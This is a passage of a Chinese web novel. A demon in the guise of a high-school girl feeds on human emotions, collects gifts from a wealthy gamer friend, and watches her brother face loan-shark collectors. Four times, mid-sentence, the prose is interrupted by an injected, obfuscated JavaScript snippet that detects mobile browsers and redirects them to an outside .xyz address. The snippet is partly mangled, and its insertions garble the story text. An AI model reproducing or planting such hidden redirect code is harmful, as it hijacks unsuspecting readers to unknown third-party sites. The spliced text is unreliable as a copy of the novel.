我发现辅助也加了我,问我下路是不是我的狗,骂到他主人所以咬个不停。 我觉得他说得有道理,顺手截屏保存下来,劝宗朔少说两句,少和菜鸟一般见识。 宗朔完全不理我,戴起耳机又是一串污言秽语,他平时声音低沉,讲话缓慢,现在吵起架像个机关枪,吵人得很。 我闲得无聊,自己开了一把,结果他立马吵完架,看到我新开游戏露出气得肝疼的表情。 宗朔:“我帮你骂他,你就这样对我?” 我疑惑不解:“我啥时候要骂他了?” 他无言以对,拆开口香糖丢进嘴里,强行闭麦,半晌后又凑到我旁边,看我的操作,我再次惜败对面时,他起身就走了,像下定了某种决心。 我悻悻地看着屏幕上血红的失败,叹息或许电竞这条路真的不适合我。 我还是适合躺在床上,享受用手机短视频腐蚀大脑的人生,当一个恶魔,早知道怎么消磨时间,人类发明的手机完全就是为恶魔而生的,手指划划一天就过去了。 赚钱这种事,还是放给别人操心吧,反正高利贷还没有找上门。 没过多久,宗朔回来了,带回来一堆零食。 我毫不客气地抢过来,拆开棒棒糖放进嘴里,虽然恶魔不需要进食,但尝个味道也不错,更重要的是这是别人买的,更美味了。 等我翻完零食,挑了个最贵的藏进兜里,宗朔才把零食袋拿回,懒洋洋地躺在椅子上晃悠,左手搭在扶手上,有一搭没一搭地敲击。 我这才发现他手腕上有闪光。 定睛一看,原来是块很有质感的表。 我才想起这家伙是个有钱的无业游民,不需要操心未来会发生的事情。 于是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364175|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始仇富。 仇富是个正常的心理,它的产生就像呼吸那么简单,来到人类世界后,因为身处穷人的行列里,我自然而然地加入到仇富的队伍中。 “在看什么?” 宗朔三分刻意地抬起手腕,三分不经意地看向我,剩下四分全是贱,“看我的表吗?要十几万哦。” 我眯起眼睛:“是假的吧,上周还没有,怎么这周就有了?你去哪里搞的?” “别人送的。”他点击匹配按钮,打算揭过此事。 但我紧盯着不放,眼睛黏在他的表上,总觉得它似曾相识,似乎在哪里见过。 我正思考着,耳边传来窸窸窣窣的动静,接着有什么东西向我砸来,我顺手接住。 宗朔解下他的表,丢给了我。 他没回头,随意摆了摆手:“送你了,现在可以上号了吧。” 我把还有余温的表揣进兜里,喜笑颜开,“可以可以,怎么不可以呢?陪你打到天亮都行。” 宗朔意味不明地哼了声,唇角微微勾起,我鼻尖嗅到不同的气息,是丝丝缕缕的薄荷口香糖味,我舔了下唇,将空气中无形的情感塞进肚里。 宗朔就是我之前说过的、偶尔能吃一口零食的类型,他的情感总是在送我点什么的时候冒出,我也搞不懂是为什么。 人类的情感和恶魔的不一样,有些人为别人做点事情还会更喜欢别人,恶魔只会喜欢为自己做事的人。 宗朔送我东西也不是一天两天了,上个月我看到网上有把送人的东西收回去的案例,还让他写了自愿赠与,他表示很无语,问我写什么关系。 我说是赞助人。 他是我的赞助人,赞助我这个前途无量的高中生实现躺平的人生理想。 他笑了半天,才在我从作业本上撕掉一页的纸张上落下签名。 现在那个自愿赠与协议还在我的书包夹层里放着,如果他敢反悔,我就把协议打印出来,去街上乱发。 不过我也觉得他不会反悔,因为他花钱大手大脚,不像会在意手指缝漏出的小恩小惠的人。 这就是有钱人的度量吧,我一边打游戏一边仇富。 等外面的天空逐渐灰暗,我才在手机的催促声中不情不愿地关闭电脑,垂头丧气地收拾东西。 一股脑把从麦景和宗朔那收刮来的东西塞进书包里,我拉上拉链,背上包和宗朔往外走,在门口时,我朝他挥挥手:“以后我要走右边了。” 宗朔停下脚,转头问我:“为什么?” “我搬家了。” 我也懒得再说一遍家里出事,因为宗朔是个闲人,能放假对他来说根本不是个值得炫耀的事,我暗暗地想,等以后有钱了,一定要狠狠地在他脸上秀。 他也没有多问,转身想走,但我想到什么,叫住他:“你这表,咸鱼能卖吗?” 宗朔:“保卡和表盒改天给你。” 他是懂的,肯定没少卖过。 我挥手向他道别,慢悠悠回到寄住的公寓里,掏出书包里的东西整理今天的收获,然后我发现一件可怕的事。 我让宗朔写的自愿赠与协议竟然不翼而飞! 5. 第五章 我沉思着,以思考者的姿势坐着。 究竟去哪了? 我陷入思考漩涡。 是被我自己无意丢掉了?还是被讨债的黑|帮给偷走了? 我思来想去也没搞懂为什么黑|帮会拿走自愿赠与协议,却没有收走我的作业,难不成他们是宗朔派来的?宗朔大费周章害我的便宜父母背上债务是为了偷走自愿赠与协议,然后告我,让我把礼物还回去? 我越想越觉得人类可怕,最后拿出手机给宗朔发了条:你好毒。 对面很快回复三个问号。 看他的表现,我又开始不确定。 明明葬礼之前还在包里来着,因为担心再背上负债,我特意检查过,那应该是之后丢的,在这段时间里,哥哥拿走过我的书包…… 对哦。 栾明拿走过我的书包。 所以他拿走那张纸干嘛? 我思来想去,也想不明白,人类心里太多弯弯绕绕,但他自从出生就站在我这边,有时候我甚至怀疑他是我在时空洞里搅碎的一部分灵魂碎片,绝对不可能成为宗朔的间谍。 想到这,我开始怀念自己碎成渣的恶魔躯体,不知道什么时候能修复好。 其实一直在人类世界也挺好的,不用担心吃不到饭,还没有性命危机,最关键的是还能玩手机刷低智小视频。 浦真天和哥哥不在家,我肆意地躺在沙发上玩手机,刷到很多关于高考的视频,评论区挤满了焦虑的学生和家长,同时又洋溢对未来的向往。 紧接着我刷到很多富人精致摆拍的vlog,比起前一种,后者让我的情绪强烈波动,变得尤其贪婪,恨不得把里面的人扯出来换成自己,也不知道为什么人类这么爱秀,不怕别人忮忌过甚干出坏事吗? 等等人类世界好像有法律来着…… 我愁眉苦脸,动动手指点击不感兴趣。 这时,肚子应景地发出咕噜声,我在沙发上翻了面,面朝大门,等待美食送上门。 屋内灯光晦暗,电视屏幕蓝光莹莹,窗户外传来雨点敲击声,我动动耳朵,听到脚步声,于是弹射起步来到门前,先门外的人一步拉开门,张开双臂。 拥抱是湿润的。 我迫不及待地啃食糖渍柠檬味的感情,填充饥饿的胃部,赖在哥哥身上不动,他把我搬回沙发,抽了几张纸,擦拭我脸上粘上的雨水,脱下带着冷气的外套,用手试探温度。 “晚上下雨,明天倒春寒会降温,我给你买了件新的外套,你试试。” 他翻出旁边的口袋,扯出一件衣服。 我刚吃饱饭,懒洋洋地让他摆弄,换上衣服朝他比个耶,“怎么样?” 哥哥简短地夸赞:“好看。” 他低头收拾口袋,晦暗的光照在脸上,晕染出浓重的阴影,像是累极了,眉头微蹙,眼尾下垂,疲惫又无奈。 我用手戳他的嘴角,问:“你不开心吗?” 他顺从我的力道提起嘴角,摇摇头,“不累。” 骗人。但就像忽视掉麦景的伤口一样,我无视掉了哥哥的情绪。 高利贷什么的,一点也不想知道。 “哥,你拿我的书包去做什么了?” “红漆不好洗,我去找家店帮忙弄干净,是哪里洗坏了?” “没有。” 我想了想,又问:“那洗的时候,你有帮我把里面的东西拿出来吗?” “……拿了。” “那你有没有看到一张纸?” “我帮你放在夹层里了。” 我立马翻身去找,果然在夹层里发现了像狗啃的纸条,陡然笑起来,“太好了,我还以为它丢了。” 哥哥很久没说话,双手放在膝盖上,沉默着,发丝上还有星星点点的雨珠,像是落在蜘蛛网上。 我盯着他头上的雨水,问““外面下雨为什么不打伞啊?” 他理了下头发,解释道:“半路才下的,这么点路不至于打伞,我就跑回来了。” “哦。”我抱着双腿,歪头看他。 哥哥沉默了会,忽然开口:“小冬。” “嗯?” 他看着我,眼珠像两颗泡在雾里的黑宝石,“今天有发生什么有趣的事吗?” 发生了什么,好像没什么有趣的。 “大家开始准备高考,感觉也没什么意思,我只想等着高考结束躺在家里睡觉,哥,我们什么时候离开这啊?以前那个家,还回得去吗?” 他答非所问:“小冬想离开吗?” 我搞不懂他在想什么,于是直白地说:“我还是想住大房子,哥也要有个房间才行。” 哥哥抿起唇,微微垂下头,脸上的阴影蔓延开来,语气发涩:“……会有的。” 我抿着嘴里的柠檬味,开始畅想作为富人的恶魔生活。 要有一个大大的房子,最好大还有三个单间,一间装电脑,一间装金银财宝,最后剩下的装哥哥和其他能提供稳定食物的人类。 我用贫瘠的想象力畅想富人生活,最多也只敢想四个房间的豪宅。 哥哥时不时看眼手机,神情紧绷,但很快又收起手机,在房间里晃悠,进卧室收拾我乱丢乱放的东西,他总是停不下来,像广告里见过的888元的扫地机器人。 我在沙发上翘脚看电视,右手玩着宗朔送的手表,思考着卖了换的钱该怎么花。 之前宗朔也送过我东西,全被我转手卖了,到手的钱不少,但转眼就不翼而飞,我也不清楚被花到哪里去了,眨眨眼睛手机上的数字就变成零,这找谁说理去。 我将其归结于黑客,他们可能是另一种恶魔,天天在网上偷钱。 哥哥从屋里出来,拿着我的袜子问哪几双要洗时,原本应该凌晨才回家的浦真天回来了。 看到我们,他吓了一跳,垂头丧气变成接局促,摸了摸后脑勺,扬起个略带傻气的笑容:“小明你在啊,妹儿也放学了,好巧,你们吃饭没?” 我瞟眼哥哥,立刻端正坐姿,乖巧地说:“还没吃,我们在等你。” “诶?等我吗?”浦真天信以为真,有些感动,收起红得刺眼的雨伞,放在旁边的鞋架上,我仔细一看上面还写着广告联系电话。 雨伞和他的西装一样红,透着塑料的丑,我不懂为什么他会穿红西装,还染着粉色头发,因为他的好身材才能勉强入眼。 浦真天像个客人似的拘谨,飞速溜回房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364176|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里换了身家居服,神情勉强舒展开。 我盯着他布满卡通图案的家居服,又看了看客厅角落里堆放着的玩偶,思考着这是不是最近朋友嘴里爱说的反转魅力。 浦真天尬笑着在沙发坐下,胸口的布料很紧绷,坐下时腰部衣服上移,明显短了一截,他扯了扯但没有丝毫作用,只能拿起旁边的抱枕遮盖窘迫。 哥哥问他想吃什么,他站起来想去厨房帮忙,但始终慢一步,又坐下了。 坐下后,他拿起手机看,看着看着开始走神,直到手机息屏也没有反应过来,仍然出神地盯着手机。 我摸摸下巴,哥哥还在厨房里忙碌,刚吃了柠檬我的食物又蠢蠢欲动,于是我悄悄凑近,在浦真天耳边说话:“在想什么?” 他吓得一个哆嗦,差点站起来,身体拼命往后仰,将手机反面盖在腿上,“在、呃在想工作的事情。” “工作上遇到点烦心事。” 说到工作,他的眉头锁住,但语气镇定许多,拘谨的气息逐渐消散,宽容地看着我,“你还小,以后就懂了。” 我摇头:“我不想懂,我不想工作。” 浦真天眼睛亮了点,嘴唇蠕动想说点什么,大概快要产出一堆大道理,所以我立刻堵住他的嘴,“浦哥为什么烦心啊,可以告诉我吗?我也想知道,我哥告诉我只要把烦心的事说出来就不会烦心了。” 他面色犹豫,苦笑道:“也不是什么大事……只是有点搞不懂同事在什么,哎。” 浦真天说完,沉默片刻,“妹妹,你觉得我人怎么样?” 我:“很好啊。” “那我的衣品呢?” 我眨巴下眼睛,谎话脱口而出:“一样好。” 浦真天笑了,嘴边浮现出酒窝,脸颊上还有几颗散乱的痣,因为皮肤黑看不太清,“还是妹妹好,外面的人不好,以后我要少和同事说话,听了只会心烦。” “对了,妹妹什么时候高考?” 我想了想,回答:“今年吧。” 具体的记不清楚了,虽然教室黑板上写了倒计时,但我压根不抬头。 浦真天震惊:“今年?!” “那应该——”他半截卡住,视线往厨房里看,半晌才吐出字,“我还以为才高一,没想到已经高三了啊……时间可过得太快,以前我认识小明的时候,你还在阿姨的怀里。” 浦真天陷入回忆,忽然问道:“你以后想做什么?” 我想当家里蹲,我是个没有梦想的恶魔。 我反客为主:“我还没想好,浦哥是做什么的?” 他一下子愣住,话堵在嘴里,再次看向厨房,此时哥哥正好端着盘子往外走,他立马起身想要迎过去,但没想到居家服突然崩开,几颗扣子迸射而出,胸口大开。 哥哥也愣住了,我看着锻炼有素的胸部也愣住了。 但还没看几秒,浦真天迅速转身,脸色通红,手忙脚乱地回房间换衣服,我和哥哥对视一眼,他没说什么,蹲下身捡地上的扣子。 等浦真天再次出现,他已经尴尬得不敢看我,一个劲地跟哥哥聊天,也忘记回答工作的事情。 我咬了口空气中的棉花糖,也将这件事抛之脑后。 6. 第六章 但工作像狗皮膏药紧紧粘着我不放,就像口香糖粘着鞋底,工作阴魂不散地粘上了即将毕业的我。 第二天上学的时候,我那群转性的朋友开始讨论以后要做什么、要找什么工作。 “我要当工程师,坐在办公室里享受空调。” 潘小谷扶了下眼镜,语调压制不住兴奋,眼睛发亮:“我妈说工程师可以赚大钱,不怕在工地里晒太阳,每天都可以吹空调,平均年薪五十万。” 苏音仪挠挠头,道:“可是我听说工程师很容易被拖欠工资诶。” 她的眼睛咕噜噜转了一圈,像只偷油的老鼠说:“现在兴的是科技,不如去学代码,当个码农工资也很高,而且以后都要靠代码,不如跟随时代潮流。” 卫菱也加入其中:“我觉得医生不错,老师和医生都是铁饭碗,而且我想学医,拯救生命的感觉肯定很不错。” 她们左一句右一句,描绘出未来蓝图,在教室里畅想未来工作,成为领薪水的大人后真正地享受人生,我夹在中间想什么时候能下课,快点去吃饭。 “小冬,你以后想做什么?”卫菱喊我的名字,脸颊上残留着兴奋的红。 我把当家里蹲的想法托出,她们露出果然如此的表情,挨个摸我的头,但潘小谷说我还是应该找个工作,我问她为什么,她也说不出来,只说所有人都是这样,除了有钱人。 又是有钱人。 有钱人好像特别自由,想做什么就可以做什么。 我觉得我的梦想应该是当个有钱人,最好无痛无工作。 上课时,班主任依旧板着脸,让同学在打开投影,说要播放视频。 教室里的人抬起头,我也跟着撑着下巴。 视频开头是一段沸腾人心的音乐,紧接着是很多人激动地宣誓,各个学校的名字在屏幕上闪过,背景音乐动次打次,比雨点还急。 然后一张又一张陌生的脸出现了,班主任在旁边补充说是优秀的毕业生,在各个名校前面拍摄鼓励视频,看看他们现在开心的样子,我们应该更加努力才行。 “他们都是从江中出去的学生,考上重点大学每个人前途无限,你们也一样,不要妄自菲薄,最后这段时间很重要,也有不少人弯道超车,成为黑马。” 班主任指着屏幕上的学生,苦口婆心地说:“以后考上大学想做什么都可以,想去哪去哪,想怎么玩怎么玩,想谈恋爱就谈恋爱——” 她说话时,屏幕正好播放到下一个,大学名是串英文,哥特式建筑前面站着眉眼俊朗的男生,穿着黑色大衣,像个羽毛光亮的乌鸦,嘴角噙着一抹笑。 台下的同学们原本就躁动不安,见状起哄起来,惹得班主任回头看去。 屏幕里的人在讲我听不懂的鸟语,端着装逼的架子,同学们很吃这套,兴奋又激动。 “QS世界排名前十的大学,这位是学校的优秀毕业生,当年高考理科状元。” 我听见旁边有人鼓掌,不由盯着屏幕的人多看了两眼,摸摸下巴,想这人还挺符合我的审美。 我喜欢黑色,很顺眼。 “等高考宣誓大会,还有更多优秀人士来学校鼓励大家,看看他们,是不是也想努力一把,成为像他们一样的人?努力吧孩子们,把未来攥在手里。” 视频结束,班主任吆喝几声,教室才慢慢安静下来,同学们一个两个像打了鸡血,坐姿比以前提拔两度。 我不理解他们的激动,视频里的人又不是自己,为什么能兴奋成这样,不应该很气吗? 这大概就是恶魔和人类的区别吧。 中午,我像往常一样登上天台,麦景早早等在栏杆边,手里领着便当。 我再次谢绝便当,把班主任放视频的事情告诉他,他说他们班也放了。 “你有什么感觉吗?” 我问:“你想不想努力学习,然后考个好学校?” “嗯……考个好学校然后找好工作。” 他穿着宽大的运动外套,今天没被打,颧骨上还乌着一块,说话时把下巴藏在衣领后,“对我来说,高考是唯一的出路。” “找个好工作才能经济独立,靠自己活下去。”他的声音逐渐变小,转头看我,眼睛眯了下,垂下头。 我忘记他的成绩好还是不好,压根没注意过,但听起来像有指望的样子,不过像他这样总是被打的人,出去工作不会被打吗? 我心口不一地回复:“我觉得你说得对。” 管它是啥,说对就对了。 “那小冬呢?” 被问的次数太多,我也开始思考如果真的要工作,我应该做些什么来融入人类世界。 我盯着天上的云思考着。 麦景:“没想好也没关系,我们还有很多时间,高考也不是决定人生一辈子的事……至少不能决定你的。” “小冬不想工作也没关系。”他说完,犹豫许久,试探着看进我的眼睛,悄无声息地靠近一点,声音发颤,“我、我可以养小冬。” 我哦了一声,掏走他口袋里的糖果,剥开堵住他的嘴,说:“以后的事以后再说吧,我们不是还有很多时间吗?” 麦景敛眸,垂着头不说话,手仍然拉着我。 我觉得他不懂说话的艺术,怪不得被人打,我讨厌养这个字,我也是个有尊严的恶魔,他只是我的食物而已,为了报复,我用手戳他脸颊上那块淤青,他眯起左眼,不明所以,但待在原地没动。 我又去碰他的眼睛,摸他薄薄的眼皮,手指下传来不安的动静,他含糊地喊我的名字。 “小冬?” 只要动动手指就能扣下他的眼睛。 但我没那么做,因为我是个懂法律的恶魔。 我哼哼两声,抬起握在一起的手狠狠咬了一口,他愣怔地看着我,不知道作何反应。 “喜欢你才咬你。”我张嘴乱说。 麦景摸着咬痕,像个白痴样笑了起来,笑完抿起唇,说了声对不起。 我不解地问:“为什么道歉?” 他说:“惹你不开心了。” 麦景是个奇怪的人,莫名地猜对了我的想法,和便宜哥哥一样奇怪。 在离开前,他把兜里所有东西掏给我,说会努力保存手背上的咬痕,在它消失之前一直心怀歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364177|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,直到我离开天台,他还站在原地,和阴影融为一体。 如果这是游戏的话,那么麦景就是只会刷新在天台的npc,点一点会掉落物品。 我很快将他甩在脑后,继续思考工作的事。 在见到宗朔的第一面,我就问他觉得什么工作好。 他开机的手速慢了一步,嚼着口香糖,目光从略长的刘海下投来,问:“你决定弃明投暗了?还是脑袋发烧,烧糊涂了?” 我一脸正色:“我很正经地在问你。” “行,那我也很正经地回答你。”宗朔往后仰,砸在椅背上,“吃软饭的工作最好。” “吃软饭?”我摸着下巴思索,皱起眉,“你是说给有钱人当宠物吗?不要,我是个有尊严的恶……呃,人!” 吃软饭什么的是不可能的,这辈子都不可能吃软饭的! “有人养哪里不好?” 宗朔语气平静地说:“你得到了钱,有钱人得到了情绪价值,是双赢。” “家里蹲也比吃软饭好,而且这算是什么工作啊,我要的是说出去能好听的工作,最好有很多很多工资。” 宗朔:“家里蹲也是被人养啊。” “那不一样。” “哪里不一样?” 我反驳道:“家里蹲是让人上供。” “那你就当吃软饭也是别人上供呗。” 宗朔盯着电脑屏幕,手指在键盘上敲击,懒散地打了个哈欠,“你又不想累,那就只有吃软饭了。” 我想要反驳,又觉得他说得有道理,但还是嘴硬:“算了,我还是家里蹲吧。” 我也跟着上号,正在匹配时,他冷不丁开口:“你从我这拿东西,算不算你在吃我的软饭?” 我大惊失色,“你怎么能这么想,绝对不是!这都是我凭本事拿到的!” 接着宗朔笑了,像上发条的玩偶,笑得停不下来。 我疑惑地看着他,心想这人可能打游戏输太多发疯了,等他停下来,看见我的表情,又噗呲笑出声。 我:“你到底在笑什么。” 他摇头不解释,只说:“想到了搞笑的事。” 他可能真疯了。 打完游戏,我拿到了保卡和表盒,又从宗朔兜里掏东西,执意再捞点东西作为精神补偿。 但只掏到了花里胡哨的卡片,还没看清上面的字,宗朔就抢了过去,让我少看大人的东西,我懒得给他好脸色,悄悄踩了他两脚。 告别时,宗朔疼得咬牙切齿。 回家的路上又漂起小雨,下班的上班族们无精打采,像被魅魔吸光了精气,于是我越想越觉得不能上班,哪有恶魔被工作吸食的道理。 还是当家里蹲吧。我想。 我淋着小雨,沿着路往公寓走,刚踏入楼梯时,忽然感受到熟悉的氛围。 墙壁红红的,原来是欠债还钱四个大字。 仔细一看,地上还有两个熟悉的大头照,我小心翼翼地往走廊看去,果不其然看到乌泱泱好多人站在门口,凶神恶煞,把卡通地毯被踩得脏兮兮。 我屏住呼吸,思考着该做什么。 7. 第七章 我很郁闷,低头看地上的大头照,上面的女生也盯着我,收债的黑|帮懒得多花钱,照片是黑白色,和已经表在墓碑上的父母一样。 潮湿的雨打在我的脸上,是冷的。 难道就要把还没捂热的表交出去吗?我不愿意。 我还想给游戏充648诶,在游戏里买皮肤特别有面。 楼梯传来脚步声, 我转头望去,脸色苍白的哥哥匆忙来到楼梯口,瞳孔震颤,大步上楼来到我身边,将我一把塞在身后。 正在下雨,但他身上热量惊人,像个火炉,源源不断地释放热意。 他的气息急促,说话声音有些抖:“小冬,你去楼下玩,去我们之前经过几次的湖边,看湖里的鸳鸯好不好?” 现在下雨诶。 我心想至少给把伞吧,但哥哥攥得紧紧的,手臂颤抖,呼吸不稳地打在我的头顶。 “好吧。”我转身下楼,抬头时他已经不在楼梯边,视线捕捉到一角风衣。 我顶着细细密密的雨往湖边走,很快整个人变成落汤鸡,湖面上两只鸳鸯贴在一起,躲在树下避雨,我走进凉亭里,盯着不断泛起波澜的湖面。 时间一分一秒过去,我摸了摸手里的表盒,把书包打开,取出里面的表塞进盒子里,思考片刻,开始拍摄二手出售照片,力求清晰优美。 没拍一会,充话费送的安卓手机开始发烫,因为淋了雨,像暖手宝似的,我背对风看手机,希望电量不要太快终结。 我刚把表挂上二手,宗朔就发来消息。 [宗贱朔人]:手速挺快 [宗贱朔人]:缺钱了?以前卖二手可没这么快 [宗贱朔人]:少充点648吧,真正的非酋是谁我们心知肚明 [世界第一恶魔大人]:管得宽,送给我就是我的东西了! [世界第一恶魔大人]:对了,你能不能买回去,再把表送给我? [宗贱朔人]:(大拇指.jpg) 雨水打湿我的头发,丝丝缕缕贴在脸颊上痒痒的,我换了个姿势玩手机,把书包抱在怀里。 时间过去一个小时,手机电量掉成了10%,红色的很吓人,让我立马想到墙壁上的油漆,心情不爽。 哥哥还没来,说明事情很难解决,说明他可能要追随便宜父母而去了,想到以后的日子没了他这样稳定的食物,我忍不住长吁短叹。 要找新的好麻烦啊! 我擦点脸上的雨水,决定回去看一眼,刚走出凉亭,没走几步,一道熟悉的身影正在靠近凉亭,红色雨伞,红色西装,雨伞上还有广告电话。 我快步跑到男人身边,喊:“浦哥。” 浦真天吓了一跳,瞪大眼睛问:“小冬?!你怎么在外面?等等,你快进来,身上全淋湿了,等会回去感冒怎么办,你哥哥呢?” 他将伞向我倾斜,自己大半身体淋在雨里,红色西装很快濡湿大片,脸上挂在水珠,拧着浓眉。 “哥哥在家里。”我说,“高利贷追过来了。” 他哑口无言,震惊从脸上消失,转而变成沉重,宛如镀上一层隔膜冷硬起来,他把伞塞给我,迈进雨里,往外走了几步,又急停在原地,转头说:“你现在外面玩会,等我来接你,好吗?” 他补充道:“我和你哥哥有点事要处理。” 说完加快速度离开,留给我一个红色的背影。 我握着雨伞,看了眼手机的电量,决定先去躺便利店,果不其然在收银台旁边看到充电宝,终于拯救了我岌岌可危的电量,我放下心来,松了口气。 差点就要世界末日了。 我看着变成绿色的电量,格外安心。 便利店可以遮风挡雨,比湖边的凉亭好一百倍,也不知道为什么哥哥让我去那。 有了充电宝,我开始放心地玩手机,撑着脸划拉动态。 身上潮湿的雨水难消,衣服黏糊糊地贴在身上,让我怎么坐都不舒服,尤其是脸颊上,总有发丝在脸上的感觉,蛛网般挥之不去。 窗外的雨模糊了玻璃,街道的环境在雨水中扭曲,从门口溜进的冷风往衣领里钻。 偶尔进来几个客人,裹挟着潮湿的气息,抱怨着突如其来的雨。 恰逢汽车鸣笛,我抬起头,看向窗外。 在快步行走的路人里,有一个慢悠悠的人,黑色雨衣反射出白光,低垂着头,双手提溜着袋子。 原本没什么引人注意的,但是这道身影十分眼熟。 男生抬起头,五官线条清晰,单眼皮,眼角略微上挑,冷淡又刺眼,颧骨上还有一块没消掉的淤青。 是麦景。 他淋着雨,大概是刚从超市里出来,身形清瘦高挑,像只流浪黑猫。 我在犹豫要不要打招呼,乘机吃一口的时候,道路尽头跑来几个人,人高马大全身黑,手臂还有纹身,看上去很不好惹,领头的人拉住麦景,表情嘲讽地说着什么,然后随手扬飞他手里的袋子,抓着衣领破口大骂。 打招呼的想法顷刻消失。 我往后缩了缩,生怕被看见。 对峙的局面在麦景挥拳反击时暂停,紧接着更多人加入打架,宣泄来历不明的情绪,有个人想打麦景,结果不小心锤在同伴身上,在雨里滑稽可笑。 他们拉扯着,麦景的身手不错,打得领头的眼歪嘴斜,但是对面人多势众,把他推进小巷里,步伐交错,路边的水潭反射出晃动的人影。 我品尝着这出好戏,意犹未尽。 打来打去很好玩,越混乱越好玩,我邪恶地想要看到世界大乱。 没过多久,小巷里走出扶着腰、摸着脸的男人,领头的人脸色不好,吐口唾液,朝着巷子深处骂了几句,带着浩浩荡荡的手下踏雨而去。 巷口白色塑料袋露出一角,买的东西散乱在地。 我刚想看麦景买的是什么,视线里忽然涌入一抹红,然后扩大到全覆盖。 浦真天去而复返,手里握着新的广告雨伞,粉色头发湿溻溻,不笑时显得整个人冷硬,但他看到我就提起嘴角,露出大白牙。 我赶紧出门,问他:“怎么样?我哥还活着吗?” “他没事,好着呢。”浦真天自动接过我的书包,“不用担心高利贷的事,他们不会再来了,妹妹别怕,有你哥和我在,什么事也不会有。” 他飞快说完话,喉结滚动,关切地问:“你饿没饿?” “还好。” 在楼梯口的时候偷吃过,胃部还有情感残余,我舔下唇,嘴里甜滋滋的,“我们回去吧,我想换衣服。” 浦真天点头,高大的身躯挡在前面,时不时回头看我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364178|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眸光清亮,脸颊的雨水也跟着闪光,我注意到他后脖颈泛红,还以为是血,但定睛发现是染料的颜色。 我悄悄伸出手,手指碾磨他的衣角,手指头果然变得红彤彤。 我不知道浦真天的工作,但他有很多金链子和表,应该不差钱吧? 他再次回头,以为我在忧心,安慰道:“没事的,你哥就在家里等我们,他好着呢。” 可能是个人爱好吧。我把吐槽的话塞回肚子里,视线转向逐渐接近的巷口,靠近时,被扯烂的塑料口袋露出全貌,物品撒落一地。 麦景正低头捡拾,沉默安静,黑色雨衣遮住他的脸,只能看到抿起的唇角。 听见声响,他抬头看来。 浦真天遮挡住我的视线,脚步慢了点,问:“怎么了?” “没什么。”我说。 再次回到公寓时,墙壁上的红色油漆被人狠狠擦去,“通缉令”也消失不见,如果不是残留的红,像什么也没发生。 哥哥坐在客厅,听见动静回头,苍白的脸颊上带了点血色,但眼下的黑眼圈还是一样重,脸上带笑,自然地招呼我们吃饭。 吃饭时,浦真天努力活跃气氛,说天说地就是不说刚才发生的事情,直到摸了把后脖颈,他才发现西装掉色,尴尬地回房洗澡。 哥哥收拾碗筷,我就坐在沙发上看电视。 屋外的雨不停,有越下越大的趋势,啪嗒啪嗒打在遮阳棚上,上任租客留下的绿植在阳台上,被雨淋得弯了腰。 哥哥把它搬回房间,避免它被淋死。 等忙完,他才在我旁边坐下,表情逐渐流失,逐渐变成一滩死水。 我还以为他要哭了,从小到大,他总爱哭鼻子,开心了哭,难过了哭,看三流电影也会哭。 但他什么表情也没有,眼底晃动着光,不是泪光,是电视机的光。 此时正在表演三年之期已到,主角情绪激动,咆哮着要打脸反派,有那么一瞬间情绪强烈过头,比反派更像个反派。 我看着开始痛哭流涕的反派,想不明白为什么哥哥没哭,上一次他流泪是因为高利贷毁掉了原本的家,但这次高利贷找上门他却没什么反应,很快收拾残局,遮掩情绪。 我蜷缩着双腿,紧紧地盯着他的眼角,试图从中看出泪意,但什么都没有。 他变了。 栾明不像以前的他了。 但他身上的气息没有变,糖渍柠檬甚至比以前还有浓烈,源源不断地涌向我,填饱我的胃,让我懒洋洋的,不想动。 哥哥注意到我的视线,轻声问我怎么了。 我说:“在想你什么时候哭。” 他愣住了,摸摸我的头,“不会哭,以后也不会哭了。” “以后我们会幸福起来的。” 他的语气笃定,偏头时又变得恍然,有瞬间,我以为他掉眼泪了,但是只是电视机变换的光。 我想以后可能再也见不到他的眼泪了。 有点可惜。 因为我喜欢别人伤心的模样。 